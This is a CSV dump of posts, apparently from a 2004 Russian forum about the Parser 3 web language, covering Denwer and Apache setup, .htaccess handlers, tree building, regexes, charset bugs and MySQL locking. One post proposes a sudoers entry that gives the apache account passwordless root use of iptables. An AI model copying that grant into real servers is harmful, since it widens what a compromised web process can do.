"33301","ну да я читал.. действительно можно просто банально выкинуть там половину модифицировать код и все. но хочется чтобы я смог это сделать в будущем сам. мало того этого не совсем дотаточно. допустим добавление коммента внизу под текстом? это уже не реализвать... или большие тексты из базы грузить(по несколько десятков страниц)..."
"33302","принципиальной разницы сколько полей выводить и какой размер текста в поле - нет."
"33303","ну с тем-то я разберусь. но именно там писалось об ограничении в 200 символов на данную переменную которая передается и возвращается от mysql. этот момент я не оч понял. потом полазил поискал доки по mysql - такая муть блин.\
я понимаю что я создаю кучу проблем. на самом деле я скорее всего буду делать именно так - читать примеры. просто думал вдруг есть иной способ. ну раз нет - будем разбираться.\
спасибо."
"33304","Разбирайтесь, это интересно. Сами не заметите как затянет..."
"33305","согласен. когда-то когда паскаль изучал сначало было скучно а потом затянуло... у меня только одна проблема: не могу что-то делать долго и систематически... многое бросаю на полдороге. а жаль. но это постараюсь довести до конца.\
да это не проблема на самом деле вот только были бы люди которые на возникающие вопросы отвечали а не смеялись. честно говоря в этом плане надеюсь на данный форум..."
"33306","Это действительно сильно сокращает количество \"запрещенных\" названий полей таблицы. Но насколько я понимаю, все равно в \"запрещенных\" остаются некоторые названия, совпадающие с методами класса hash. Зато таких методов нет в классе table. Так что выходом из данной ситуации будет использование по умолчанию прямого доступа к полям таблицы, а при встречающихся коллизиях названий со служебными словами - переход к доступу через хэш."
"33307","Эта проблема тоже решаема, правда, полусекурным способом (требует усиленного внимания админа)\
\
реализация проста до безобразия - берем файл /etc/sudoers и вписываем требуемые нам строки:\
[code]\
---cut on---\
# Host alias specification               \
Host_Alias MY_WWW=<здесь - ваш IP>\
---cut off---\
\
---cut on---\
# User privilege specification       \
root    ALL=(ALL) ALL                    \
\
# Apache server account\
apache MY_WWW=NOPASSWD: /sbin/iptables\
---cut off---\
[/code]"
"33310","Здравствуйте!\
Столкнулся с такой задачей:\
существует сайт (доска объявлений), требуется создать робот беруший объявления с этой доски.\
Подскажите пожалуйста, можно ли это сделать не пребегая к регулярным выражениям."
"33314","- можно заходить в комнату через дверь?\
- скорее нет, чем да\
- т.е. других способов нет?\
- есть, но они мягко говоря \"через окно\"\
\
зачем?\
разбор текстов и нахождение в них подстрок по шаблонам - это то, для чего создавались регулярные выражения и это то с чем они справляются на 5+."
"33315","Пишет:\
is 'bool', it has no elements\
\
На код(ошибка в первой стороке представленного кода):\
[code]\
	^skier_section.menu{\
		^if(def $skier_section.url){\
			<a href=\"${info.prefix}$skier_section.url\">$skier_section.name</a>\
		}{\
			$skier_section.name\
		}\
		^skier_navigation.menu{\
			^if($skier_navigation.parent_id == $skier_section.id){\
				<li><a href=\"${info.prefix}$skier_navigation.url\">$skier_navigation.name</a></li>\
			}\
		}\
	}\
[/code]\
\
ps: Собственно что мне не понятно, что такое \"bool\"?"
"33316","Сегодня целый день пробовал разобрать текст... не разбирается. Буду мучиться дальше :-)"
"33318","получается например так:\
[code]$bool(1<2)[/code]\
или так:\
[code]$bool[$some_table.locate[...]][/code]"
"33319","Не пишите regexp, который делаёт всё и разом. Напишите несколько простых - один режет текст \"до\", другой - \"после\", третий вычищает html-тэги - и пускай они обрабатываают текст конвеером..."
"33320","Спасибо. Интересная мысль."
"33321","можно ли это сделать в один проход?"
"33322","^строка.match[\\^^+][ig]{^^^^}"
"33324","http://linux.opennet.ru/docs/RUS/perl_regex/index.html"
"33325","В форуме нашел код грабера для простого whois'а:\
[code]$resp[^file::load[text;http://webnames.ru/scripts/whois.pl?domain_name=${form:domen}]]\
$resp[^resp.match[<pre>(.+?)</pre>][ig]]\
^resp.menu{<pre>^resp.1.match[</? \\w+\\s? .*? /? >][ig]{}</pre>}[/code]\
\
этот код при запросе выдаёт ошибку:\
\
[b]undefined method  type: parser.runtime[/b]\
\
в логах Parser'а пишет:\
\
[b]Mon Sep 27 22:19:01 2004] /?p=whois&domen=allshops.info: -body of process-(3:21): 'match' undefined method [parser.runtime][/b]"
"33326","Парсер рулит, однозначно!"
"33328","Народ! подскажите пожалуйста как лучше решить проблемку:\
есть таблица в excel, надо в некоторых столцах во всех ячейках значение заменить на значение+30% от него. как это лучше сделать?.. а то ручками каждую ячейку править придеться до конца жизни наверно...\
заранее благодарен,\
Толик"
"33329","как уже говорил очень надеюсь на помощь на этом форуме.\
хочу освоить парсер по такому принципу: читать доки и выполнять все что там говорится. так проще. однако я не очень понимаю как начать. слил Джентельменский набор... нужно ли что-то еще? или теперь просто создать директорию сайта нужные файлы и писать? будет ли все это работать в оффлайне? я могу разобраться с самим языком но не понимаю ничего во всех этих апачи и тп. для чего это. можно ли просто писать сайт на парсере?\
очень надеюсь на помощь.. заранее спасибо. и за первые ответы спасибо. я уже иду по тому пути который вы мне подсказали."
"33330","наверное существуют изящные решения но из того что мне на вскидку пришло на ум: создать временную ячейку с формулой типа =a1+a1*30% . затем автозаполнением пройтись вниз до конца таблицы(только тут важно в формуле не ставить знак $ перед буквой). таким образом получишь нужные значения. а как поменять я пока не соображу. копировать нельзя ошибочка будет из-за ссылки на ту же ячейку. вот если кто-нить мне скажет как преобразовать формульные результаты данных ячеек в чистые значения тогда можно будет просто скопировать.\
\
криво конечно. думаю тебе тут более интересное значение подскажут.\
\
а вообще можно и макросом"
"33331","ага. я нашел способ. но это криво! подождите пусть профи подскажут. если же нет - спрашивайте расскажу."
"33332","Насколько я знаю можно программить на Parser и без установки Apache (назначив его обработчиком файлов с Parser-кодом), но ИМХО это стоит делать только если очень-очень сильно прижмет. Чтобы иметь возможность без извращений видеть результат работы в броузере - нужен веб-сервер. \"Денвер\" же как-раз позволяет поставить все необходимые службы тем, кто не знает (не хочет париться) с нюансами установки. Его установка не сложнее (а может и проще), чем установка любой Windows-программы с инсталлятором. Почитайте на dklab.ru инструкцию, она очень короткая. Дальше - проще. Создаете в папке localhost на диске Z: (если ставили Денвер с дефолтными установками) например папку test. Создаете в ней файл index.html с кодом\
[code]\
$variable[Я программлю на Parser! Ура!]\
<html>\
<head><title>$variable</title></head>\
<body>\
<h1>$variable<h1><br><br>\
^for[i](0;100){$variable}[ Вау! ]\
</body>\
</html>\
[/code]\
Перегружаете Денвер. Набираете в адресной строке броузера http://test.localhost (Если у вас прокси - в броузере должны быть выставлены исключения для сайтов начинающихся с test.localhost). \
\
Смотрите, что получилось. Радуетесь. Если не получилось (получили сообщение об ошибке) по всякому эксперементируете, читаете FAQ по Parser, FAQ по Денвер, форум по Parser, форум по Денвер. Потом можете попробовать спросить здесь! :)"
"33333","Копировать -> Правая клавиша -> Спец. вставка -> Значения"
"33336","http://www.parser.ru/forum/?id=31737\
там даже пример на Парсере есть работающий ;)"
"33337","спасибо. исчерпывающе. именно это и нужно было."
"33338","я даже макрос написал ночью маленький который это делает. правда только если это первый столбец :) потому что не знаю как прописать абсолютное значение столбца в visual. а вообще я удивлен что такой простой функции нет в экселе... во всяком случае я не нашел."
"33339","все сделал как сказано. ошибку не выдает но я вижу сам парсер.\
насколько я смог понять из кода должно было 100 раз вывести фразу.. а я в браузере вижу сам цикл ^for[i](0;100){$variable}[ Вау! ]\
прокси отключен. что не так?\
как заставить парсер работать?"
"33340","Если у вас Денвер, то положите рядом с auto.p (или index.html) вашего сайта файл .htaccess со следующим содержанием:\
\
# Подключение Parser-а для всех .html-страниц \
AddHandler parsed-html html\
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
\
А вообще, ответ на этот вопрос уже есть в форуме. В следующий раз - ищите прежде чем спрашивать."
"33341","положил .htaccess в папку test не помогло. там где-то написано что в данной версии этот файл вообще не нужен... ?"
"33342","документ /main_frame.html обрабатывается [b]отдельно[/b] и мало знает, откуда он, собственно, включен.\
\
в @make_page передайте ему параметром это место:\
[code]\
@make_page[]\
...\
<frame name=\"main\" src=\"/main_frame.html?frame_used_from=$request:uri\">\
...\
[/code]\
\
тогда в main_frame.html вы сможете это узнать:\
[code]\
$form:frame_used_from\
[/code]"
"33344","Это не там написано. Файл этот нужен вот тут: [b]...localhost/test/[/b]"
"33345","«отдать народу» (c) http://tema.ru"
"33346","он там и есть. и все равно не работает. странно я открыл доку сделал все как там написано. и все равно вижу в браузере только код. почему? хочется уже сам язык разбирать.. читать... а он блин не хочет!"
"33348","да."
"33349","Я тоже пользуюсь \"Денвером\". Вот текст моего .htaccess\
\
AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files>"
"33350","допустим я создал в папке home папку test.ru в ней index.html с текстом:\
^navigation[]\
затем файл auto.p с текстом:\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"middle\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>\
\
и собсно сами секции в файле section.cfg:\
section_id	name	uri\
1	главная	/\
2	новости	/news\
3	контакты	/contacts\
\
по идее при запуске индекса должно бфть меню.. \
а вылазит только ^navigation\
\
да и в той же папке .htaccess с твоим текстом...\
\
я теряюсь в догадках..."
"33351","Что при этом написано в адресной строчке броузера?"
"33352","Решение не опртимальное но, сами напросились\
\
1)Сохранить екселовский лист в текстовый формат\
2)^table::load...\
3)^table.menu(($table.столбец*130)/100)\
\
зы: с форматированием результата сами разберётесь :))))))"
"33355","[code]\
$pets[\
   $.pet[Собака]\
   $.food[Косточка]\
   $.good[Ошейник]\
]\
$var[pets.good]\
Так не работает - \"$$var\"<br>\
Так не работает - \"$[$var]\"<br>\
Так не работает - \"${$var}\"<br>\
$vars[^var.split[.;h]]\
Так работает - \"$[$vars.0].[$vars.1]\"\
[/code]"
"33356","точка, это не буква, это оператор \"достань элемент из объекта\",\
соответственно, $$var, это значение переменной с именем, содержащем букву \"точка\", не более того.\
\
точки в именах переменных допустимы, но, сами понимаете, читабельности не добавляют."
"33358","Денвер под Parser изначально не создавался. \
\
Это - http://www.parser.ru/forum/?id=33336 - создавалось."
"33359","Поскольку конструкции вида:\
[code]\
 $^for[i](0;1){$vars.i}[.]\
[/code]\
не парсятся (пробовал варианты с ^process, но пока неудачно), то видимо возможно решение только с заранее заданными ограничениями на вложенность ключей хэша. Я сделал так:\
[code]\
@get_var_from_hash_by_long_name[name]\
 $rows[^name.split[.]]\
 $cols[^name.split[.;h]]\
 ^switch[^rows.count[]]{\
  ^case[1]{$$cols.0}\
  ^case[2]{$[$cols.0].[$cols.1]}\
  ^case[3]{$[$cols.0].[$cols.1].[$cols.2]}\
  ^case[4]{$[$cols.0].[$cols.1].[$cols.2].[$cols.3]}\
  ^case[4]{$[$cols.0].[$cols.1].[$cols.2].[$cols.3].[$cols.4]}\
 }\
[/code]\
Универсальность конечно отсутствует, но работает..."
"33361","что вы хотите этим подходом с точкнутыми именами сказать-то?\
\
выстрел в темноту:\
вы эти имена храните во внешних источниках, а потом куда-то в сложную структуру за данными обращаетесь?\
\
вот один из подходов:\
данные хранить в XML, сложные ссылки внутрь них хранить в виде XPath выражений.\
\
пример описания внешних данных (реальная жизнь):\
[code]\
valueXPath\
@id\
ACL/Login\
ACL/Password\
PersonalData/Initials/FirstName\
PersonalData/Initials/MidName\
PersonalData/Initials/LastName\
PersonalData/EMail\
CardData/CardName\
CardData/CardNumber\
Balance\
[/code]\
\
получается похоже на ваши точки, но куда более гибко, и код доставания тривиален:\
\
[code]\
@optionValue[xpath]\
^options.selectSingle[string($xpath)]\
[/code]"
"33362","file://localhost/Z:/home/test.ru/index.html\
это если я просто индекс запускаю...\
я пробовал и просто тест.ру все равно.."
"33363","странно но тут же в разделе даунлоад первым в списке идет именно денвер... \
а в швейцарском ноже есть апачи? потому как мне не один человек говорит что он полюбому нужен."
"33365","выдает директорию... как будто нет index.html\
причем в директории только parent directory а самого html файла нет..."
"33366","[b]Исходная задача:[/b] для произвольной реляционной базы данных реализовать интерфейс ее заполнения путем ответа на ряд последовательных групп вопросов. Типа опросника короче, заполняющего поля базы. С кнопками \"<Назад\", \"Далее>\".\
[b]Придуманное решение:[/b] создается промежуточная структура данных, описывающая группы вопросов, и соответствия их таблицам и полям базы. По этой структуре генерится  XML, который частями (в зависимости от текущего шага) отображается на странице в виде набора форм. Поля есть обычные и executable. Executable поля дают команду на создание дочернего или сестринского объекта (типа заполнили клиента, если стоит галка \"Добавить контакное лицо\" (executable поле), то создается дочерний объект относящийся к таблице контактов, который затем и заполняется). После сабмита формы и разбора ее полей, происходит изменение XML через DOM и выводятся поля следующего шага. Если шаг был последний то сохраняем текущий XML в базу и облегченно вздыхаем. Если нужно заполнять какие-то сестринские/дочерние объекты - сохраняем его в базу и создаем новый объект. Есть нюансы с идентификаторами объектов в случае создания родительско-дочерних связей, вроде придумал как можно использовать для этого ^uuid. \
\
Прошу прошения за подробность изложения, но это больше для себя. Чтобы лучше осознать. Дамп оперативки из моей головы, так сказать! :) Есть еще куча мелких деталек, вьются в подкорке. \
\
[b]Откуда на арену выходит отряд \"точкнутых\":[/b] есть такой тип поля - select. С его заполннием поборолся так - храню в поле items (поле структуры по которой строится XML) строку вида:\
база_данных#поле_1#поле_2#sql_запрос_наполняющий_поле_значениями\
Разбираю эту строку и набираю пары значений [name,value] для select-a.\
\
Но у этого поля есть дефолтно выбранное значение. Оно может выбираться по совпадению поля value с разнообразным данным. Это может быть заранее известное значение, может быть значение какой-то переменной, может быть значение атрибута одного из элементов этого же XML, [b]может быть значением хэша[/b], результатом исполнения sql-зпроса. Поэтому я также храню строку вида\
\
тип следующих данных#имя переменой или хэша или другая инфа для запросов в базу\
\
В моем конкретном случае я сразу столкнулся с хэшем - дефолтное значение нужно выбирать в зависимости от user_id залогиненного юзера.\
\
Про ваш совет с XPatch буду думать. Возможно пригодиться. То есть  XPatch всяко пригодится в будущем, насколько пригодится для этой задачи, пока не могу осознать."
"33367","Там [b]есть[/b] Apache, Parser, почтовый сервер, MySQL и даже PHP. Всё работает сразу после установки, прасер уже сконфигурирован. Весь набор снабжён удобной панелью управления, садящейся в трей.\
\
В разделе даунлоад его ещё нет, т.к. я переписываю с нуля эмулятор почтового сервера - текущий вариант мне не нравится. Ещё я работаю над корректным включением perl в состав \"ножика\".\
\
Пробуйте, тестируйте, делятесь впечатлениями."
"33368","Заказан хостинг от Infobox\
Скачал Парсер для BSD, разархивировал на своей машине.\
Перенес parser3.cgi в директорию cgi-bin (в режиме binary) выставил права (parser3.cgi - 755) (auto.p - 744).\
Создал файл .htaccess\
Все в нем прописал как указано в хелпе.\
Захожу через вэб получаю 500-ую ошибку...\
Смотрю в логи:\
%% [Tue Sep 28 17:01:49 2004] GET /cgi-bin/parser3.cgi/_test.html HTTP/1.1\
%% 500 /home/www/rtfm/cgi-bin/parser3.cgi\
%request\
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\
Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *;q=0.1\
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0\
Accept-Language: en\
Cache-Control: no-cache\
Connection: Keep-Alive, TE\
Host: \
TE: deflate, gzip, chunked, identity, trailers\
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Opera 7.54  [en]\
%response\
%stderr\
[Tue Sep 28 17:01:49 2004] [error] (2)No such file or directory: exec of /home/www/rtfm/cgi-bin/parser3.cgi failed\
\
Где я перемудрил? Замумукался уЖО :о((("
"33369","может в .htaccess напутали что... покажите его"
"33370","AddHandler parser3-handler html\
Action parser3-handler /cgi-bin/parser3.cgi\
<Files ~ \"\\.p$\">\
Order allow,deny\
Deny from all\
</Files>"
"33372","(-)"
"33373","Здраствуйте!\
Возникла необходимость в построении не совсем тривиального дерева.\
Т.е. само дерево строится по тому же принципу что в примерах, но необходимо из этого дерева(обычного) удалить ненужные ветки и получится нетривиальное.\
А именно нужно взять некоторый условный узел(это будет текущая страница) выбрать всех детей, далее всех братьев, потом нужно сделать текущим родителя и для него выбрать всех братьев, потом сделать текущим родителя родителя и для него выбрать всех братьев и так далее до самого старшего предка.\
т.е. если графически:\
[code]\
x - выбираем\
о - не выбираем\
\
  _________________________________х_________________________________    	nesting =1\
  |                        |                 |                      |\
  х                        х         ________х________              х		nesting =2\
о о о                    о о о       х       х        х           о о о		nesting =3\
                                   о о о   х х х    о о о\
                                           | | |\
                                           | | |\
                                           | | +--x x x							nesting =4\
                                           | |\
                                           | +-- o o o o\
                                           |\
                                           +--- o o o o o\
\
[/code]\
само дерево собирается в xml так же как в примерах, но вот таблицу с узлами хочется отфильтровать перед построением дерева,\
у каждого узла есть id, parent_id и nesting(уровень вложенности)\
[code]\
$отобранные_узлы[^таблица_узлов.select($таблица_узлов.parent_id = $текущий_узел.parent_id || $таблица_узлов.nesting <= ^eval($текущий_узел.nesting) || $таблица_узлов.parent_id = $текущий_узел.id)]\
[/code]\
но это дает на верный результат.\
как это реализовать?"
"33374","AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
ЗЫ я могу ошибаться :)"
"33375","может вам поможет дополнительное поле в базе - thread_id, которое содержит id корневого раздела?\
по нему легко будет найти \"братьев\". Т.е. на уровне вложенности 3, нужно выбрать все поля, ГДЕ thread_id = thread_id текущего раздела и nesting = nesting текущего раздела. А родителей можно найти с помощью while и хеша, собственно так же и детей."
"33376","... и так до корневого, он всё равно братьев не имеет, судя по иллюстрации."
"33377","Возникла странная проблема:\
при попытке загрузить файл с веба, говорит, что WINDOWS-1251 неизвестная ему кодировка, хотя в auto.p она задана и файл с ней по указанному пути присутствует. Парсер 3.1.3.\
Пример:\
$file[^file::load[binary;http://$lnk.postmatch]] выдаёт как раз такую ошибку.\
Дальше интереснее:\
$file[^file::load[binary;http://$lnk.postmatch;$.headers[$.accept-charset[koi8-r]]]]\
прокатывает на ура. Естественно все при этом выглядит криво, но по крайней мере хотя бы загружается.\
Файлы koi8-r и windows-1251 лежат вместе, в авто.п прописаны одинаково:\
	$.koi8-r[$charsetsdir/koi8-r.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
Раз он знает о кои-8, почему вдруг забыл о вин-1251?\
\
На всякий случай проверил FileMon'ом. Файл windows-1251,cfg действительно находится парсером и считывается. Сам файл обновил с этого сервера, на случай если мой был поврежден, но это не помогло.\
\
Будут у кого-нибудь мысли по этому поводу?"
"33378","$tree - ваше дерево (хеш таблиц)\
$curent_id - id текущего объекта\
\
[code]\
$parents[^hash::create[]]\
$parent_id($current_id)\
^while($parent_id){\
	^parents.add[\
		$.[$parent_id](1)\
	]\
	$parent_id($tree.[parent_id].parent_id)\
}\
[/code]\
\
на выходе получили в $parents хеш со всеми родителями текущего элемента включая его самого.\
далее в рекурсивном обходе дерева выводите только те элементы, для которых истинно условие:\
^if($parents.[parent_id элемента]){\
}\
\
P.S. в общем это то же самое что написал Sergey M."
"33379","Подскажите, пожалуйста, как работать с ПХП и Парсером? у меня какие-то проблемы: если делать файл с расширением .php  - работает ПХП, а Парсер - нет.\
Если файл - .html - то не вид ПХП, а Парсер пашет...\
В чем дело?"
"33380","Пожалуйста:\
в .htaccess написано:\
[code]AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
RemoveHandler .html .htm\
AddType application/x-httpd-php .php .htm .html .phtml\
ErrorDocument 403 /errors/403.html\
ErrorDocument 404 /errors/404.html\
ErrorDocument 500 /errors/500.html[/code]\
А Парсер не видится!!! :-(\
Что надо сделать???"
"33384","ок я попробую.. на самом деле мне и самому не нужны лишние заморочки тк при всем желании проф.программистом я не стану - просто жизни не хватит. \
насчет ножика - где искать свежее. i mean когда выйдет новая версия где ее можно найти?"
"33385","есть энное количество страниц на которых часть информации повторяется, ( конкретно там таблица с ссылками и заголовками, местами в цвете). если вынести весь код таблицы  в отдельный файл, то как заставить все это дело выводиться на страницу."
"33388","что все это нужно чтобы строить навигацию сайта, и если по thread_id делать то мы в итоге будем иметь всю текущюю ветку до самого корневого элемента! это излишне для большого количества страниц в треде. \
\
Например у меня сейчас трэд где около 650 страниц, а будет еще больше около 1000 наверно и transform такому xml делается долго и отжирает кучу памяти у меня было 3-4 с. и 50000- 60000 блоков памяти  вернее это время на генерацию всей страницы. но абсолютно точно установлено что это из-за большого куска дерева xml. \
\
так вот поэтому нужно отбросить все ненужное и все будет хорошо, даже когда я сделал фильтрацию исходной таблицы как в своем первом посте (что не верно, оставляет все равно много лишнего) время упало до 0.4 сек и память до 12000 блоков!\
\
Parser 3.1.2 CGI win  apache 2"
"33389","однако \
1. описываемые симптомы крайне странны. если не секрет, дайте адрес (можно мне в почту), проверим.\
2. зачем вам binary?  \"выглядит криво\", значит вы смотрите на текст?\
3. если нужен текст, так и задайте, дополнительно можно будет задать параметр запроса $.charset, parser перекодирует запрос/ответ в $request:charset, какой бы не была кодировка на удалённом сервере."
"33390","уберите"
"33392","самое простое (не рекомендуется)"
"33393","О, пардон. Binary - это я уже от безысходности написал. С самого начала было text и с ним все точно так же. Я поэтому поменял на бинари и увидел опять ту же ошибку :( После этого я написал в форум и скопировал сюда свой последний вариант.\
С указание $.charset[] та же беда. Здесь вообще интересные вещи творятся.\
Примеры:\
$file[^file::load[text;http://$lnk.postmatch]] - не найдена кодировка win-1251\
$file[^file::load[text;http://$lnk.postmatch;$.charset[koi8-r]]] - не найдена кодировка win-1251 (!!)\
$file[^file::load[text;http://$lnk.postmatch;$.charset[blabla]]] - не найдена кодировка blabla\
\
Какой вывод? Даже если я указываю кои8 вручную, он все равно пишет, что не найдена кодировка вин-1251 почему-то, но стоит мне написать несуществующую кодировку, как тут он уже пишет что не найдена именно она, а не вин-1251.\
\
Адрес, с которым творятся такие чудеса такой: \
http://www.arhpress.ru/kmvest/2004/9/29/8-p.shtml\
Это пример адреса, можете взять текст любой новости с этого сервера, симптомы те же."
"33394","данный сервер выдал после строки с кодировкой пробел.\
в HEAD версии делается string.trim заначений заголовков HTTP ответа (в 3.1.3 — не делается).\
\
workaround:\
[code]\
#auto.p, conf:\
…\
$CHARSETS[\
	…\
#	это workaround ошибки в parser 3.1.3, после перехода на 3.1.4 можно убрать\
	$.[windows-1251 ][$charsetsdir/windows-1251.cfg]\
]\
[/code]"
"33395","Ух ты, вот даже как... А я ведь просмотривал возвращаемые этим сервером заголовки, но на пробел, естественно, никакого внимания не обратил.\
Тонкая материя, однако.\
Спасибо!"
"33396","что вы хотите. выбрать все элементы одного уровня? thread_id + nesting"
"33397","из строки \
\
[code]AddType application/x-httpd-php .php .htm .html .phtml[/code]"
"33398","идею понял, но чет никак не получается прикрутить это к дереву\
\
я пробую так:\
[code]\
@filter_for_tree[objects][objects;tree;current_id;parents;parent_id]\
$tree[^objects.hash[object_id]]\
^try{\
	$current_id[^MAIN:object_id[]]\
}{$exception.handled(1)}\
$parents[^hash::create[]]\
$parent_id($current_id)\
^while($parent_id){\
	^parents.add[\
		$.[$parent_id]($parent_id)\
	]\
	$parent_id($tree.[parent_id].parent_id)\
}\
$result[^objects.select(0)]\
^parents.foreach[key;value]{\
        ^result.join[^objects.select($objects.parent_id == $value)]\
}\
[/code]\
\
и этот метод вызываю перед теми что делают дерево\
но в результате ничего нет на выходе"
"33399","мой код работает если дерево хранится в виде хеша таблиц (в примере про построении деревьев про него много)\
\
у вас: $tree[^objects.hash[object_id]] - это какой-то хеш."
"33400","просто там один символ $ пропущен был из-за него не работало\
\
[code]\
@filter_for_tree[objects][objects;tree;current_id;parents;parent_id]\
$tree[^objects.hash[object_id]]\
^try{\
	$current_id[^MAIN:object_id[]]\
}{$exception.handled(1)}\
$parents[^hash::create[]]\
^parents.add[\
		$.0(0)\
	]\
$parent_id($current_id)\
^while($parent_id){\
	^parents.add[\
		$.[$parent_id]($parent_id)\
	]\
	$parent_id($tree.[[color=\"#ff0000\"]$[/color]parent_id].parent_id)\
}\
$result[^objects.select(0)]\
^parents.foreach[key;value]{\
        ^result.join[^objects.select($objects.parent_id == $value)]\
}\
[/code]\
так работает именно как я предполагал и хотел"
"33401","если работает и вас устраивает - то все ок."
"33402","в данный момент все устраивает но всё равно спасибо !"
"33404","как заблокировать таблицы на запись в мускле?\
\
делаю так:\
^void:sql{LOCK tables clients READ, client_nets READ}\
^void:sql{INSERT INTO clients VALUES('$login','$password')}\
^void:sql{INSERT INTO client_nets VALUES($client_id,INET_ATON('$myip')}\
^void:sql{UNLOCK tables}\
\
в результате такая ошибка\
Table 'clients' was locked with a READ lock and can't be updated\
INSERT INTO clients VALUES('hello','b1626909')"
"33405","но надеяться на это не нужно."
"33406","READ запрещает запись в таблицу (типа read-only).\
WRITE запрещает запись другими пользователями.\
\
В данном случае нужен WRITE"
"33407","[code]\
@long2ip[numeric_ip][ip]\
$ip(^numeric_ip.double(0))\
$result[^eval($ip>>24).^eval(($ip>>16)&0xff).^eval(($ip>>8)&0xff).^eval($ip&0xff)]\
[/code]"
"33408","А если мне надо, чтобы html-файлы обрабатывались php? Просто у меня в html-коде вызов php, а он не вызывается :-(("
"33409","Сервер стоит на Linux'e где-то в районе Азорских островов (GMT -1)\
Я пытаюсь выводить даты из БД с преобразованием к своему часовому поясу (GMT +10, Владивосток)\
\
Есть следующий фрагмент кода:\
@format_date[str]\
$d[^date::create[$str]]\
^d.roll[TZ;GMT]\
#^d.roll[TZ;VLAST]\
#^d.roll[TZ;Asia/Vladivostok]\
$result[^eval($d.day)[%02d].^eval($d.month)[%02d].$d.year ^eval($d.hour)[%02d]:^eval($d.minute)[%02d]]\
\
не работает ни один из вариантов :(\
дата не меняется"
"33410","или одно или другое | или apache2, там что-то подобное возможно"
"33411","паф может не стоит путать народ с apache2? известно ведь что нет под него модуля (а только с ним это возможно), и пока не предвидится. А призывы написать его, тут будут неуместны, т.к. вопрощающий ламер дремучий :(."
"33412","делаете два файла:\
abc.php\
abc.html\
\
в .html файле — основной код на parser.\
в .php файле — кусок работающего кода, от которого не хочется отказываться.\
\
в том месте .html файла, куда нужно вставить код на PHP, пишете:\
[code]\
^usePHP[abc.php]\
[/code]\
\
и радуетесь жизни.\
\
в основной auto.p добавьте это:\
[code]\
@usePHP[fileName][path;file]\
#вычисляем путь, откуда загружен текущий документ\
$path[$request:uri]\
$path[^path.match[/.*?^$][]{}]\
#запрашиваем по HTTP внешний документ с нашего же сервера\
$file[^file::load[text;http://$env:SERVER_NAME/$path/$fileName;\
#передаём все наши параметры методом GET (нельзя файлы)\
#если нас вызвали методом POST, и эти параметры будут переданы\
	$.form[$form:fields]\
#можно доделать и cookies (самостоятельно), \
#см. http://www.parser.ru/docs/lang/fileload.htm\
]]\
#выдаём полученный текст, untaint=выражаем доверие полученному html коду\
^untaint{$file.text}\
[/code]"
"33413","если не работает даже переход в зону \"GMT\", имя настолько стандартное для часового пояса, насколько это возможно, \
значит на данной машине что-то в операционной системе сильно не так настроено.\
\
workaround: пользуйтесь функциями сдвига дат/времени, встроенными в базу данных."
"33414","99.9% хватает CGI.\
и потом: я не путаю, я пугаю :)\
\
из забавного: страницы со списками писем на \
http://mail.yandex.ru работают через подзапрос, как я предлагаю тут: http://www.parser.ru/forum/?id=33412\
\
как-то видел страницу с папкой inbox:\
дизайн вокруг есть, а вместо списка писем: стандартный apache'евский internal server error :)"
"33415","Нифига :о("
"33417","результат:\
 с хэшем таблиц на генерацию страницы уходит 0.5 сек это при полном дереве(670 элементов)! без отчистки лишних веток! раньше было 3.5 сек\
памяти соответственно кушало 50000-60000 а теперь 16000-18000"
"33420","Добрый день !\
Решил изучать Parser навыки программирования на уровне школы (паскаль, бейсик). Как примерный ученик открываю первый урок.\
Создаю файл auto.p , создаю файл sections.cfg , создаю index.html\
Все как в уроке строго. Для проверки установил себе на комп Денвер с поддержкой Parser. Проверил Парсер работает. Так вот создав все 3 файла запускаю index.html, и вместо ожидаемого меню (урок 1) вижу надпись:\
Unhandled Exception (Debug)\
undefined method\
navigation\
\
z:/home/lada/www/index.html(1)\
exception.type=parser.runtime \
\
Где ошибка ? Вроде все по написаному сделал.\
Помогите ламеру."
"33422","Добрый день !\
Решил изучать Parser навыки программирования на уровне школы (паскаль, бейсик). Как примерный ученик открываю первый урок.\
Создаю файл auto.p , создаю файл sections.cfg , создаю index.html\
Все как в уроке строго. Для проверки установил себе на комп Денвер с поддержкой Parser. Проверил Парсер работает. Так вот создав все 3 файла запускаю index.html, и вместо ожидаемого меню (урок 1) вижу надпись:\
Unhandled Exception (Debug)\
undefined method\
navigation\
\
z:/home/lada/www/index.html(1)\
exception.type=parser.runtime \
\
Где ошибка ? Вроде все по написаному сделал.\
Помогите ламеру."
"33424","спасибо, помогло!\
\
насколько я знаю мускл теперь поддерживает транзакции? можете кинуть какой-нить примерчик на парсере с транзакцией?"
"33425","Что правильно то ? Как от проблемы избавиться. Подскажите пожалуйста!"
"33426","Читаем сообщение об ошибке: она находиться в файле index.html на первой строке. Что у вас написано на первой строке?"
"33427","Уважаемый Александр я прочитал FAQ. Решение своей проблемы не нашел. Я непойму я что то противозаконное делаю ?\
В форуме было большое обсуждение по первому уроку но ошибка была другая которую я уже избежал."
"33428","^navigation[]"
"33429","[code]\
@auto[]\
^navigation[]\
[/code]\
\
Ну или что-нибудь в этом роде ;)\
Или еще вопрос: у вас после строки с вызовом метода пустая строка есть? Мало ли, может пригодиться. Попробуйте. Должно помочь. 8)"
"33431","в одной директории"
"33432","Теперь выдает ошибку 2 строки :)\
Unhandled Exception (Debug)\
undefined method\
navigation\
\
z:/home/lada/www/index.html(2)\
exception.type=parser.runtime"
